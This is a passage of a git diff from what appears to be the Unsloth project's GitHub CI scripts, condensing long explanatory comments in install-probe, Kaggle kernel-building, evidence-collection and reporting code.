+# Only simple values: the workflow sources this file.
{
echo "interrupt_reason=$reason"
echo "interrupt_killed=$killed"
diff --git a/.github/scripts/interrupted_install_probe.py b/.github/scripts/interrupted_install_probe.py
index 9e2eec6825c..20c4195dcf1 100644
--- a/.github/scripts/interrupted_install_probe.py
+++ b/.github/scripts/interrupted_install_probe.py
@@ -58,7 +58,7 @@ def main(argv: list[str]) -> int:
ap.add_argument("bin", help = "path to the unsloth CLI")
ap.add_argument("--port", type = int, default = 0, help = "0 picks a free port")
ap.add_argument("--out", default = "probe", help = "directory for probe artefacts")
- # The desktop's own grace, BACKEND_STARTUP_GRACE_PERIOD = 5 min (commands.rs:9): less fails a leg the app would wait out. It cannot mask the bug, since a missing import kills the backend and the loop breaks on proc.poll(), so this only bounds a LIVE backend.
+ # Matches the desktop's 5 min BACKEND_STARTUP_GRACE_PERIOD.
ap.add_argument("--boot-timeout", type = int, default = 300)
a = ap.parse_args(argv)
@@ -76,7 +76,7 @@ def main(argv: list[str]) -> int:
print(f"[probe] {k:28} = {v}")
# ── the two probes Tauri preflight actually runs ─────────────────────────
- # The DESKTOP's deadline, not a generous CI one: preflight allows each call 10s (managed.rs:337 for `-h`, :390 for desktop-capabilities) then reports Stale (managed.rs:471, :521). Longer would call a slow torn venv HEALTHY and skip the re-run assertion; run() reports a timeout as a non-zero rc, the same REPAIRABLE arm.
+ # Matches the desktop preflight's 10s per call; longer would call a slow torn venv healthy.
PREFLIGHT_TIMEOUT = 10
t0 = time.time()
@@ -96,9 +96,7 @@ def main(argv: list[str]) -> int:
say("capabilities_ok", caps_rc == 0)
say("capabilities_seconds", round(time.time() - t0, 2))
- # Parse EXACTLY as the desktop does: managed.rs:414 hands the whole stdout buffer to serde_json, which rejects leading or trailing non-JSON, and stderr was already discarded at managed.rs:358. Folding stderr in made one warning line enough to fail the parse and report FALSE_READY over an install the real app offers to repair.
- # "absent" (studio_install_ok predates the install manifest) and "unparseable" split only for a readable artefact: the desktop reports Stale for both ("desktop_capability_probe_failed", managed.rs:521).
- # The field is Option<bool> (managed.rs:43), so serde rejects a non-boolean and the whole payload fails to deserialize into Stale; bool() instead read the JSON string "false" as True and reported HEALTHY over a torn install. Only a literal JSON true counts.
+ # Parse stdout only, as the desktop does; only a literal JSON true counts as ok.
install_ok: object = "absent"
try:
parsed = json.loads(caps_out)
@@ -116,12 +114,12 @@ def main(argv: list[str]) -> int:
install_ok = "unparseable"
say("capabilities.studio_install_ok", install_ok)
- # The desktop's own conclusion: Ready only on rc 0 plus a true studio_install_ok. The predicate is `!= Some(true)` (managed.rs:445), so an ABSENT field is Stale exactly like a false one, and a CLI too old to answer is rejected one check earlier on desktop_manageability_version. Leaving "absent" undecided reported HEALTHY on every booting leg and skipped the repair assertion, over the regression in `unsloth_cli/commands/studio.py` that the path filter exists to catch.
+ # The desktop treats an absent field as Stale, exactly like false.
caps_ready = caps_rc == 0 and install_ok is True
say("desktop_would_call_install_ok", caps_ready)
# ── the deeper probes the fix PRs add ────────────────────────────────────
- # RECORDED, not repair evidence: preflight runs only `-h` and `studio desktop-capabilities --json` (managed.rs:357, :445), so counting these would pass a leg while the real app still reports ManagedReady over a torn install.
+ # Recorded only: preflight runs just `-h` and desktop-capabilities, so these are not repair evidence.
for label, args in (
("verify_install", ["studio", "verify-install"]),
("desktop_runtime_check", ["studio", "desktop-runtime-check"]),
@@ -133,21 +131,21 @@ def main(argv: list[str]) -> int:
(out / f"{label}.log").write_text(merged(r), encoding = "utf-8", errors = "replace")
say(label, "ok" if r[0] == 0 else "failed")
- # The in-progress marker #7490 writes before spawning the installer. RECORDED ONLY: both drivers seed it and never clear it, so it is true on every leg by construction, and using it in the verdict would make FALSE_READY, the one failing outcome, unreachable.
+ # Recorded only: both drivers always seed this marker, so it cannot be part of the verdict.
home = Path(os.environ.get("UNSLOTH_STUDIO_HOME") or (Path.home() / ".unsloth" / "studio"))
say("install_in_progress_marker", (home / ".desktop-install-in-progress").exists())
# ── ground truth: does the backend actually boot? ────────────────────────
- # Own the whole process tree: the CLI spawns uvicorn/python children that would hold the port and hang the next leg's probe. Same reason the driver kills the group.
+ # Own the whole process tree so children cannot hold the port for the next leg.
popen_kw: dict = {}
if os.name == "posix":
popen_kw["start_new_session"] = True
else:
popen_kw["creationflags"] = getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0)
- # Straight to the artefact file, never a PIPE: nothing drains a pipe until after the polling loop, so a backend whose imports outrun the OS buffer (64 KiB on Linux and macOS, one page on Windows) blocks BEFORE binding the port, and backend_ok, what the verdict pivots on, would be false for a perfectly good install.
+ # Write to a file, never a PIPE: an undrained pipe can block the backend before it binds.
blog_path = out / "backend.log"
blog_fh = blog_path.open("w", encoding = "utf-8", errors = "replace")
- # An interrupted install can leave the console script with its venv interpreter gone, and an unguarded spawn raises, so no verdict.json is written and both workflows die on json.load. An unlaunchable CLI is a broken backend that `-h` flags.
+ # An interrupted install can leave the CLI unlaunchable; still write a verdict.
proc = None
try:
proc = subprocess.Popen(
@@ -182,7 +180,7 @@ def main(argv: list[str]) -> int:
if os.name == "posix":
import signal
- # start_new_session made this child its own group leader. Read the pgid BEFORE the reap: once waited on, os.getpgid() raises and escalation hits nothing.
+ # Read the pgid before the reap: os.getpgid() raises afterwards.
try:
pgid = os.getpgid(proc.pid)
except OSError:
@@ -197,13 +195,13 @@ def main(argv: list[str]) -> int:
break
except subprocess.TimeoutExpired:
continue
- # Unconditional, and to the GROUP, the same escalation interrupt-install.sh makes: the leader exits promptly on SIGTERM while a uvicorn worker does not, so returning once proc.wait() succeeded left that worker holding the port and venv while the repair reinstalled underneath. Signalling an empty group is a no-op.
+ # Unconditional, and to the group: a uvicorn worker survives SIGTERM to the leader.
try:
os.killpg(pgid, signal.SIGKILL)
except OSError:
pass
else:
- # On win32 the CLI re-spawns the server as a CHILD and waits on it (unsloth_cli/commands/studio.py:1543), and CREATE_NEW_PROCESS_GROUP does not make terminate() reach descendants, so killing the wrapper alone leaves the venv locked against the repair. taskkill /T takes the tree.
+ # On win32 the CLI respawns the server as a child, so taskkill /T is needed for the tree.
run(["taskkill", "/F", "/T", "/PID", str(proc.pid)], timeout = 30)
try:
proc.wait(timeout = 10)
@@ -227,7 +225,7 @@ def main(argv: list[str]) -> int:
say("backend_error", missing)
# ── verdict ──────────────────────────────────────────────────────────────
- # A booting backend is not enough. The manifest is written LAST (install_python_stack.py:3255), so the data-designer leg boots while desktop-capabilities still says studio_install_ok=false and preflight reports Stale (managed.rs:445); calling that HEALTHY skipped the re-run step. `-h` gates it for the same reason: probe_managed_bin runs it FIRST and returns Stale "cli_unusable" without reaching the capability probe (managed.rs:465-478), so consulting cli_h_ok only in the repairable arm called a help-less CLI HEALTHY.
+ # Healthy also requires desktop-capabilities ready and `-h` ok, as the desktop's preflight does.
if backend_ok and caps_ready and facts.get("cli_h_ok"):
verdict = "HEALTHY"
elif not caps_ready or not facts.get("cli_h_ok"):
diff --git a/.github/scripts/kaggle_prefetch.py b/.github/scripts/kaggle_prefetch.py
index fbeeaad09e2..320f14ea4ec 100644
--- a/.github/scripts/kaggle_prefetch.py
+++ b/.github/scripts/kaggle_prefetch.py
@@ -14,7 +14,7 @@ WHAT THIS IS NOT: a correctness mechanism. Every caller must treat a failed pref
from __future__ import annotations
-# The sentinel the driver and the reporters grep for. One record per repo, on its own line, so `kernel.log` ALONE measures the download, the number the whole schedule is built around and the one thing no artifact has ever separated from weight-load time.
+# Sentinel the driver and reporters grep for: one record per repo, on its own line.
PREFETCH_SENTINEL = "KAGGLE_CI_PREFETCH"
@@ -38,7 +38,7 @@ def prefetch_cell(
total_timeout: int = 1800,
) -> str:
"""Source for a cell (or a driver thread) that warms ``repos``, in order. ``repos`` is ordered and the order is load bearing: the caller puts the repo with the longest lead time first, because a prefetch only pays for the work it finishes BEFORE the payload that wants it starts. ``hf_home`` of None means "do not touch HF_HOME", which is what the leg prefetch needs, since the legs read the Kaggle image's default cache and the entire point is to land in the cache they read; setting it to a private directory there would produce a perfectly healthy prefetch that no payload can see, 12 GB of work thrown away, and a green run."""
- # repr(), NOT json.dumps(): this text is Python, and `json.dumps(None)` is `null`, which parses fine and dies with a NameError the first time the cell RUNS, on a Kaggle session, minutes in, having already paid for the box. `test_the_generated_prefetch_cell_runs` exists because compiling the cell did not catch exactly that.
+ # repr(), not json.dumps(): this is Python source, and json's `null` is a NameError at run time.
return f'''
import json, os, threading, time
diff --git a/.github/scripts/kaggle_studio_ci/build_kernel.py b/.github/scripts/kaggle_studio_ci/build_kernel.py
index ff472a91037..6bd0118d2a9 100644
--- a/.github/scripts/kaggle_studio_ci/build_kernel.py
+++ b/.github/scripts/kaggle_studio_ci/build_kernel.py
@@ -53,16 +53,12 @@ from pathlib import Path
DRIVER_SENTINEL = "KAGGLE_STUDIO_CI_DRIVER"
PAYLOAD_SENTINEL = "KAGGLE_STUDIO_CI_PAYLOAD"
-# Shared with the notebook leg's launcher, which scrapes this prefix out of the executed notebook and the kernel log.
-# Keeping it identical is what lets .github/scripts/kaggle_t4_ci/launch.py transport this payload's result without a
-# line of change.
+# Must match kaggle_t4_ci/launch.py's RESULT_PREFIX, which scrapes it.
RESULT_PREFIX = "T4_SMOKE_REPORT "
PAYLOAD_NOTEBOOK = "studio_gpu.ipynb"
OUTPUT_NOTEBOOK = "studio_gpu_output.ipynb"
-# Files the payload directory has to contain. Checked at build time so a rename that breaks the kernel fails on the
-# runner, in seconds, rather than forty minutes into a GPU session.
PAYLOAD_FILES = (
"run_studio_gpu.py",
"gpu_assert.py",
@@ -71,9 +67,6 @@ PAYLOAD_FILES = (
)
-# Runs under the Unsloth venv's interpreter and reports what is actually importable there. Kept as a plain constant
-# rather than spliced into a generated f-string cell: the notebook leg lost a whole GPU session to a cell that had been
-# assembled out of nested quoting and did not parse.
_PROBE_SCRIPT = """
import importlib, json
out = {"versions": {}, "missing": []}
@@ -141,17 +134,10 @@ def _models_from(payload_args: str) -> list[str]:
tokens = payload_args.split()
picked = {}
for flag, default in (
- # These defaults must track run_studio_gpu.py's own, or the prefetch
- # warms a cache the payload never reads -- which downloads happily and
- # reports success. tests/kaggle/test_t4_ci_transport.py compares the
- # two, which is how this pair was caught drifting.
+ # Must track run_studio_gpu.py's defaults (tests/kaggle/test_t4_ci_transport.py checks).
("--chat-model", "unsloth/Qwen3.5-2B-MTP-GGUF"),
("--train-model", "unsloth/Qwen3.5-2B"),
- # Read for the same reason as the repos: Studio loads ONE quant out of
- # a GGUF repo that ships many, and an unfiltered snapshot pulls all of
- # them. Run 32667451396 fetched 69.1 GB of Qwen3.5-2B-GGUF to serve a
- # single UD-Q4_K_XL file. Taken off argv rather than hardcoded so a
- # dispatch that overrides the variant filters on the variant it chose.
+ # Studio loads one quant; an unfiltered snapshot would pull every quant in the repo.
("--chat-variant", "UD-Q4_K_XL"),
):
value = default
@@ -161,13 +147,7 @@ def _models_from(payload_args: str) -> list[str]:
elif token.startswith(flag + "="):
value = token.split("=", 1)[1]
picked[flag] = value
- # Chat model first: it is the GGUF that llama.cpp has to serve, and it is
- # the larger of the two.
- # The variant glob is deliberately loose at both ends. Multi-part GGUFs are
- # named `...UD-Q4_K_XL-00001-of-00002.gguf`, so anchoring the suffix would
- # match the single-file case and silently miss every shard of the split
- # one -- which downloads nothing, reports success, and leaves Studio to
- # fetch it itself.
+ # Glob is loose on both ends so split GGUF shards (`-00001-of-00002`) also match.
variant = picked["--chat-variant"]
chat = (picked["--chat-model"], [f"*{variant}*"]) if variant else picked["--chat-model"]
return [chat, picked["--train-model"]]
@@ -432,23 +412,7 @@ print("{PAYLOAD_SENTINEL} complete rc=" + str(proc.returncode), flush=True)
# aborting here would lose the cells below it.
"""
- # Studio's two models, fetched on the half that is ALREADY hidden.
- # Both were previously pulled inside run_studio_gpu.py, which is the TEST
- # half, so the merged kernel hid Studio's clone, pip and Playwright browser
- # and then paid full price for its downloads with both cards idle. They go
- # here instead, under Studio's own HF_HOME -- which is why this cannot use
- # the t4 driver's lane: that one deliberately targets the image default so
- # the training legs can read it, and Studio's install is a user-shaped
- # install with a cache root of its own.
- # Last in the install phase, after the venv and the browser: those are what
- # the test half cannot start without, and a download that overruns the card
- # queue must not be what delays them.
- # hf_home=None means "inherit", NOT "use the default". The setup cell runs
- # first in this same notebook and has already put Studio's private root in
- # os.environ["HF_HOME"], so inheriting is how this lands there. Passing the
- # path again would be a second copy of _pick_work_root's answer, free to
- # disagree with the real one. `test_the_studio_prefetch_lands_in_studios
- # _own_cache` pins the ordering that makes inheriting correct.
+ # hf_home=None inherits the HF_HOME the earlier setup cell set; do not pass the path again.
prefetch = _prefetch_builder().prefetch_cell(
_models_from(payload_args),
hf_home = None,
@@ -456,16 +420,12 @@ print("{PAYLOAD_SENTINEL} complete rc=" + str(proc.returncode), flush=True)
total_timeout = 1200,
)
- # Marks the GPU-free half done, on its own line, so the driver can gate the
- # test half on a sentinel it saw rather than on a returncode alone.
installed = f"""print("{PAYLOAD_SENTINEL} INSTALLED " + json.dumps({{
"studio_home": str(STUDIO_HOME), "venv": str(VENV_PY),
}}), flush=True)
"""
- # Re-derives what the install half left on disk. VENV_PY is defined in the
- # install cell, which the test half does not carry, so without this the
- # verify cell below dies on a NameError rather than on anything it tests.
+ # VENV_PY lives in the install cell, which the test half does not carry.
bridge = f"""VENV_PY = STUDIO_HOME / "unsloth_studio" / "bin" / "python"
if not VENV_PY.is_file():
fail_report(f"the install phase left no interpreter at {{VENV_PY}}; it either "
diff --git a/.github/scripts/kaggle_studio_ci/collect_evidence.py b/.github/scripts/kaggle_studio_ci/collect_evidence.py
index a798983f5c9..24985b9b652 100644
--- a/.github/scripts/kaggle_studio_ci/collect_evidence.py
+++ b/.github/scripts/kaggle_studio_ci/collect_evidence.py
@@ -34,9 +34,7 @@ from pathlib import Path
EVIDENCE_PREFIX = "STUDIO_GPU_EVIDENCE_B64 "
_CHUNK_RE = re.compile(r"^(\d+)/(\d+)\s+(\S+)$")
-# A tar member is trusted only as far as its name. Absolute paths and ``..``
-# are refused rather than sanitised, because a bundle that contains one is not
-# a bundle this payload wrote.
+# Members with absolute paths or `..` are refused, not sanitised.
MAX_MEMBER_BYTES = 20_000_000
@@ -58,8 +56,7 @@ def iter_text(path: Path):
nb = json.loads(nb_path.read_text(encoding = "utf-8", errors = "replace"))
except Exception: # noqa: BLE001
continue
- # Kernels have returned valid JSON that is not a notebook (`[]`, or a
- # non-object cell); raising here fails the job after the verdict posted.
+ # Valid JSON may not be a notebook; raising here would fail the job after the verdict posted.
if not isinstance(nb, dict):
continue
for cell in nb.get("cells") or []:
@@ -162,8 +159,6 @@ def main() -> int:
missing = [i for i in range(1, total + 1) if i not in chunks]
if missing:
- # A bundle reassembled from a truncated log decodes to something, and that something is not the evidence.
- # Report rather than guess.
print(
f"[evidence] {len(missing)} of {total} chunks are missing "
f"(first: {missing[0]}), so the bundle is incomplete and is not "
diff --git a/.github/scripts/kaggle_studio_ci/report.py b/.github/scripts/kaggle_studio_ci/report.py
index c713371578c..d231632afb1 100644
--- a/.github/scripts/kaggle_studio_ci/report.py
+++ b/.github/scripts/kaggle_studio_ci/report.py
@@ -47,7 +47,6 @@ def _notice(level: str, title: str, message: str) -> None:
print(f"::{level} title={title}::{flat}", flush = True)
-# Order the assertions are presented in, and the one-line reminder of what each is actually worth: a reader who has never seen this job before should not have to open the payload to know whether a tick means anything.
ASSERTION_BLURB = {
"preflight": "a GPU is present and there is disk to use it",
"studio_ready": "Unsloth answered /api/health as healthy, hardware detection settled",
@@ -123,7 +122,7 @@ def render(report: dict) -> list[str]:
return lines
-# The label this payload reports under. Duplicated in kaggle_t4_ci/report.py; see the note there for why it is not shared.
+# Duplicated in kaggle_t4_ci/report.py on purpose; see the note there.
STUDIO_LABEL = "studio-gpu"
@@ -147,7 +146,7 @@ def own_verdict(kernel_verdict: str, kernel_reason: str, reports: list, expect:
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--evidence", required = True)
- # One, always: the payload's two notebooks are halves of one experiment and produce exactly one `studio-gpu` report between them. See the count note in kaggle_t4_ci/build_kernel.py's --all-kernels tail.
+ # Always one: the two notebooks are halves producing a single `studio-gpu` report.
ap.add_argument("--expect", type = int, default = 1)
args = ap.parse_args()
@@ -167,7 +166,7 @@ def main() -> int:
reason = result.get("reason", "")
reports = result.get("reports", [])
- # This payload can share a kernel with the T4 notebook legs (see kaggle_t4_ci/build_kernel.py --with-studio), and every payload in that kernel reports through the same prefix. The legs are a different shape, a per-step metric trace rather than assertions, so rendering them here would produce Studio sections describing training runs. Each reporter owns its own labels.
+ # Shared kernels emit every payload's reports under one prefix; keep only ours.
reports = [r for r in reports if r.get("label") == STUDIO_LABEL]
verdict, reason = own_verdict(verdict, reason, reports, args.expect)
diff --git a/.github/scripts/kaggle_t4_ci/build_kernel.py b/.github/scripts/kaggle_t4_ci/build_kernel.py
index 031446fd456..4bdb4fb467d 100644
--- a/.github/scripts/kaggle_t4_ci/build_kernel.py
+++ b/.github/scripts/kaggle_t4_ci/build_kernel.py
@@ -69,15 +69,9 @@ DRIVER_SENTINEL = "KAGGLE_T4_CI_DRIVER"
PAYLOAD_SENTINEL = "KAGGLE_T4_CI_PAYLOAD"
RESULT_PREFIX = "T4_SMOKE_REPORT "
-# Where the payload sources land on the Kaggle side, one directory PER LEG: a
-# kernel's payloads run concurrently with byte-identical copies of the same
-# files, and `write_bytes` truncates first, so one shared directory lets a
-# payload empty a file the other is importing.
+# One directory per leg: concurrent payloads would truncate each other's shared files.
KERNEL_ROOT = "/kaggle/working/t4_smoke_src"
-# A Kaggle GPU session is 2xT4. This is the width the packing is built for and
-# what the kernel stands down against when the allocation is short; it is not
-# a count of legs, which is now larger than it on purpose.
SESSION_GPUS = 2
@@ -115,7 +109,6 @@ def _shared_args_for(leg: Leg, extra_args: tuple[str, ...]) -> list[str]:
for token in extra_args:
if token.startswith("--"):
if token.split("=", 1)[0] in own:
- # `--opt value` has to lose its value token as well.
drop_value = "=" not in token
continue
drop_value = False
@@ -158,16 +151,12 @@ def build_payload_notebook(
unsloth's DEVICE_COUNT > 1 code path is reachable at all.
"""
root = _kernel_root(leg)
- # Baked in HERE, at build time, from the leg's own declaration. The check
- # in the verify cell compares against this constant rather than against
- # anything the running kernel can see.
expected_visible = 2 if leg.all_cards else 1
wanted = list(leg.files)
if leg.entry not in wanted:
wanted.append(leg.entry)
- # `reference=None` means "whatever the leg asks for"; an explicit "" turns
- # the band check off, which is how a reference recapture is dispatched.
+ # None means the leg's own reference; "" disables the band check (reference recapture).
ref_name = leg.reference if reference is None else reference
if ref_name:
wanted.append(f"references/{ref_name}")
@@ -621,13 +610,10 @@ def build_driver(
encoded = {name: _encode_bytes(json.dumps(nb).encode("utf-8")) for name, nb in payloads.items()}
isolation = isolation or {}
system_site = {name: bool(isolation.get(name, True)) for name in payloads}
- # Only legs carry overlays; Studio's halves install into their own tree.
overlay_specs = {
name: tuple(specs) for name, specs in (overlays or {}).items() if specs and name in payloads
}
- # The CARD queue, which is not every payload. cpu_lane runs beside the
- # cards and after_gpu runs once they are free; leaving either in here would
- # hand it a card and defeat the point of both.
+ # cpu_lane and after_gpu take no card, so they stay off the card queue.
off_queue = {name for name in (cpu_lane, after_gpu) if name}
for name in off_queue:
if name not in payloads:
@@ -635,16 +621,10 @@ def build_driver(
order = [name for name in payloads if name not in off_queue]
if not order:
raise ValueError("every payload is off the card queue, so nothing would use a GPU")
- # hf_home is left unset ON PURPOSE. See build_driver's docstring: a private
- # root here downloads 12 GB into a cache no leg reads and reports success.
- # Per-payload VRAM for the admission check. Off-queue payloads are absent
- # on purpose: neither takes a card, so neither has a budget to consume.
+ # hf_home is unset on purpose; see build_driver's docstring.
vram_gb = {name: float(getattr(leg, "vram_gb", 1.0)) for name, leg in vram_source.items()}
- # Studio's halves are not legs and have no Leg record. The test half is the
- # only one that takes a card, and it is priced from what it loads: a 2B
- # chat model at UD-Q4_K_XL plus a 0.5B LoRA. Deliberately generous -- an
- # under-price here is what would let it share with something that does not
- # fit, and the whole admission check is only as honest as its inputs.
+ # Studio's halves have no Leg record: priced at 2B UD-Q4_K_XL chat + 0.5B LoRA, deliberately
+ # generous, since under-pricing would let them share a card with something that does not fit.
for name in (cpu_lane, after_gpu):
if name:
vram_gb.setdefault(name, 2.2)
@@ -1633,43 +1613,22 @@ def build_kernel(
zoo_ref = zoo_ref,
payload_dir = payload_dir,
)
- # The card queue is the LEGS. Studio's two halves ride the same kernel but
- # not the same queue, so expected_gpus is derived before they are added:
- # they are what the cards are freed FOR, not more work to schedule onto
- # them.
+ # expected_gpus is derived before Studio's halves are added: they are not card work.
expected_gpus = min(len(payloads), SESSION_GPUS)
- # An all-card leg needs SESSION_GPUS whatever the payload count is. Without
- # this a single-leg dispatch (`--legs multi_gpu`) derives 1, the shortfall
- # guard is satisfied by a one-card allocation, and the run proceeds to fail
- # inside the payload on `device_count() == 2` -- a capacity fact reported as
- # a payload verdict, which is precisely the confusion the guard's own
- # comment says it exists to prevent.
+ # An all-card leg needs every card even in a single-leg dispatch.
if any(leg.all_cards for leg in legs_by_payload.values()):
expected_gpus = SESSION_GPUS
- # Opt in. On run 32689629906 the wheels helped the leg that runs ALONE and
- # cost the three that run concurrently, and that run moved the caches at the
- # same time, so the effect is not yet attributable to either. Off by default
- # until one variable at a time says otherwise.
+ # Off by default: the effect of shared wheels is not yet measured in isolation.
shared_wheel_specs = _shared_vcs_specs(leg_groups) if shared_wheels else ()
- # Derived from the legs themselves rather than named again here: a second
- # list of which legs want every card is a second thing to keep in step, and
- # one that drifts silently -- a leg dropped from it simply gets pinned and
- # its multi-GPU assertions go looking for a second card that is not there.
all_card = tuple(payload for payload, leg in legs_by_payload.items() if leg.all_cards)
cpu_lane = after_gpu = None
if studio:
payloads.update(studio_payloads(**studio))
cpu_lane = STUDIO_INSTALL_NOTEBOOK
after_gpu = STUDIO_TEST_NOTEBOOK
- # Both halves see the Kaggle image, as the standalone Studio kernel
- # does: install.sh builds its OWN venv under STUDIO_HOME and that is
- # the interpreter every assertion runs under, so the outer one only has
- # to be able to start papermill.
+ # install.sh builds its own venv, so the outer interpreter only needs papermill.
isolation[STUDIO_INSTALL_NOTEBOOK] = True
isolation[STUDIO_TEST_NOTEBOOK] = True
- # min(), so a one-leg kernel (a --legs dispatch, or a debugging run) still
- # stands down only on a genuinely empty allocation rather than demanding a
- # second card it will never use.
return build_driver(
payloads,
per_run_timeout,
@@ -1711,8 +1670,7 @@ def _shared_vcs_specs(leg_groups: dict[str, list[list[str]]]) -> tuple[str, ...]
specs.add(token)
sets.append(specs)
common = set.intersection(*sets) if sets else set()
- # Sorted for a stable kernel: an unordered set would rebuild the notebook
- # differently run to run and make a diff of two kernels unreadable.
+ # Sorted so the generated kernel is stable across runs.
return tuple(sorted(common))
@@ -1794,9 +1752,6 @@ def main() -> int:
args = ap.parse_args()
if args.with_studio and not args.all_kernels:
- # --legs builds ONE kernel of named legs, which is the debugging shape.
- # Attaching Studio to it would put a 10-minute install beside a
- # deliberately narrowed run.
raise SystemExit("--with-studio requires --all-kernels")
if args.all_kernels == bool(args.legs):
@@ -1811,9 +1766,7 @@ def main() -> int:
if not plan[0]:
raise SystemExit("--legs named nothing")
- # Studio rides the FIRST kernel only. There is one kernel today, so this is
- # not a choice with consequences yet, but naming it stops a future second
- # kernel quietly installing Studio twice and paying for it twice.
+ # Studio rides only the first kernel so it is never installed twice.
for index, (names, out) in enumerate(zip(plan, outputs)):
studio = None
if args.with_studio and index == 0:
@@ -1831,45 +1784,23 @@ def main() -> int:
per_run_timeout = args.per_run_timeout,
skip_reference = args.skip_reference,
studio = studio,
- # Only the kernel that CARRIES gptoss should pay for its 12 GB.
- # There is one kernel today, so this reads as "always", but naming
- # it stops a future second kernel prefetching a model it will never
- # load -- which would be pure network cost, on a lane whose entire
- # justification is that it is free.
prefetch_repos = () if args.no_prefetch else PREFETCH_REPOS,
after_gpu_concurrent = args.studio_concurrent,
shared_wheels = args.shared_wheels,
)
out.parent.mkdir(parents = True, exist_ok = True)
out.write_text(json.dumps(driver, indent = 1), encoding = "utf-8")
- # Says whether Studio is aboard, because a build that quietly stopped
- # packing it looks exactly like one that never asked for it.
print(
f"wrote {out} ({out.stat().st_size / 1024:.0f} KB) packing "
f"{len(names)} leg(s): {', '.join(names)}"
+ (" + the Studio install and test halves" if studio else "")
)
- # The launcher needs one --notebook per kernel and the expected payload
- # count; both follow from the plan, so they are emitted here rather than
- # restated in the workflow.
- # Studio counts as ONE payload, not two, and that holds on both paths.
- # Its two notebooks are halves of one experiment: on a healthy run the
- # install half emits no report at all and the test half emits the only
- # one, and on a broken install the install half emits a failure report and
- # the driver then SKIPS the test half. Either way the kernel produces
- # exactly one `studio-gpu` report, so counting the install half would make
- # every healthy run look like it lost one.
- # Getting this wrong in the other direction is worse and is why it is
- # derived rather than typed: a merged kernel that quietly stopped running
- # Studio would still report the four legs and go green.
+ # Studio counts as ONE payload: its two notebooks produce exactly one `studio-gpu` report.
legs = sum(len(n) for n in plan)
expected_payloads = legs + (1 if args.with_studio else 0)
_github_output("notebooks", " ".join(f"--notebook {o}" for o in outputs))
_github_output("payloads", str(expected_payloads))
- # The launcher counts every report in the kernel; each REPORTER counts only
- # the labels it owns. So the T4 reporter is told the leg count, not the
- # payload count -- handing it 5 would have it treat a complete four-leg
- # result as short by one and dump the kernel log under a healthy run.
+ # Reporters count only their own labels, so the T4 reporter gets the leg count.
_github_output("legs", str(legs))
return 0
diff --git a/.github/scripts/kaggle_t4_ci/check_steps.py b/.github/scripts/kaggle_t4_ci/check_steps.py
index 2cb65db8888..62327a537ca 100644
--- a/.github/scripts/kaggle_t4_ci/check_steps.py
+++ b/.github/scripts/kaggle_t4_ci/check_steps.py
@@ -153,7 +153,7 @@ def main() -> int:
_out("stand_down", "true" if stand_down else "false")
_out("reason", reason)
- # The PARSED value, for everything downstream, so the one place that normalises the dispatched string is the one place that validated it. parse_steps deliberately accepts "+10", "010" and surrounding whitespace as the ten they are, and the payload's argparse agrees, so the build step comparing the raw string against the reference's count used to read those as a different run and drop the reference band: a green run with the committed band never applied, announced as a step count that was not actually different. The reference's own count comes from here too, for the same reason.
+ # Use the parsed value everywhere: raw strings like "+10" or "010" would mismatch the reference.
steps = parse_steps(args.max_steps)
if steps is not None:
_out("steps", str(steps))
diff --git a/.github/scripts/kaggle_t4_ci/collect.py b/.github/scripts/kaggle_t4_ci/collect.py
index 809f2e38e2f..6c324aa0fc5 100644
--- a/.github/scripts/kaggle_t4_ci/collect.py
+++ b/.github/scripts/kaggle_t4_ci/collect.py
@@ -55,45 +55,25 @@ sys.path.insert(0, str(Path(__file__).resolve().parent))
import launch # noqa: E402
from gate import GONE_MARKERS, _as_naive_utc # noqa: E402
-# How long a dispatched kernel may stay in flight before the reaper takes it.
-# The ceiling is ours because Kaggle's has been caught failing: a kernel pushed
-# with `-t 5400` whose nbconvert crashed sat RUNNING two hours past it.
-# Generous rather than tight: the wired notebook kernel measured 2101.8s, the
-# two-account run 41.5 min of job wall clock, and queueing behind another of
-# ours adds most of that again. Reaping a kernel that would have finished costs
-# a whole run and reports a failure nobody can act on.
+# Our own ceiling, because Kaggle's timeout has been seen not to stop a wedged kernel.
DEFAULT_MAX_AGE_HOURS = 3.0
-# Paging for the account walk. Not bounded by the reap ceiling (a kernel far
-# past it is what the reaper exists for), nor by a small page count: the
-# account is SHARED and human kernels are never deleted, so once enough newer
-# records sit above an uncollected kernel of ours a fixed cap would never reach
-# it again. The walk stops at a page entirely older than LISTING_HORIZON_HOURS
-# with none of ours on it, at the pass deadline, or at MAX_PAGES.
+# The account is shared and human kernels persist, so a fixed page cap could miss ours forever.
PAGE_SIZE = 100
MAX_PAGES = 50
-# Kaggle kills a session at 12h whatever else fails, so a kernel of ours that
-# last ran before this horizon is neither running nor owed a timely status.
+# Kaggle kills sessions at 12h, so a kernel last run before this horizon is neither running nor owed a status.
LISTING_HORIZON_HOURS = 24.0 * 7
-# The driver's own record of how many payload reports the kernel was BUILT to
-# produce, and the only one that survives dispatch: judging a five-payload
-# kernel against `--expect 1` turns a run that lost four of them into a pass.
+# Without the driver's expected count, a kernel that lost payloads could read as a pass.
EXPECT_SENTINEL = "KAGGLE_T4_CI_DRIVER_EXPECT "
-# Wall clock for the whole collection (evidence downloads dominate). It runs on
-# a schedule, so a kernel missed this pass is reached five minutes later.
BUDGET_SEC = 900
-# Per-kernel evidence budget, well under the total, so one slow download cannot
-# consume the pass and starve every kernel behind it.
EVIDENCE_BUDGET_SEC = 300
SOCKET_TIMEOUT_SEC = 120
-# The commit status context per workflow kind. A PUBLIC interface: branch
-# protection is configured against these strings, so renaming one silently
-# stops requiring the check it names.
+# Public interface: branch protection matches these strings, so renaming one drops the check.
STATUS_CONTEXTS = {
"notebook": "kaggle-t4-notebook",
"studio": "kaggle-studio-gpu",
@@ -248,9 +228,7 @@ def _evidence_lines(dest: Path):
nb = json.loads(nb_path.read_text(encoding = "utf-8", errors = "replace"))
except Exception: # noqa: BLE001
continue
- # Valid JSON that is not a notebook is skipped, not raised on: this
- # runs outside the report guard, and an exception here writes no result
- # file and wedges every later pass on this kernel.
+ # Skip non-notebook JSON: raising here wedges every later pass on this kernel.
if not isinstance(nb, dict):
continue
for cell in nb.get("cells") or []:
@@ -290,17 +268,13 @@ def expected_reports(
reports = parsed.get("reports") if isinstance(parsed, dict) else None
if isinstance(reports, int) and reports > 0:
return reports
- # Only a notebook kernel's own record says how many payloads it carries.
- # Without it the plan is UNKNOWN, not the caller's default, or a kernel that
- # lost four legs reads as a pass. Studio kernels always carry exactly one.
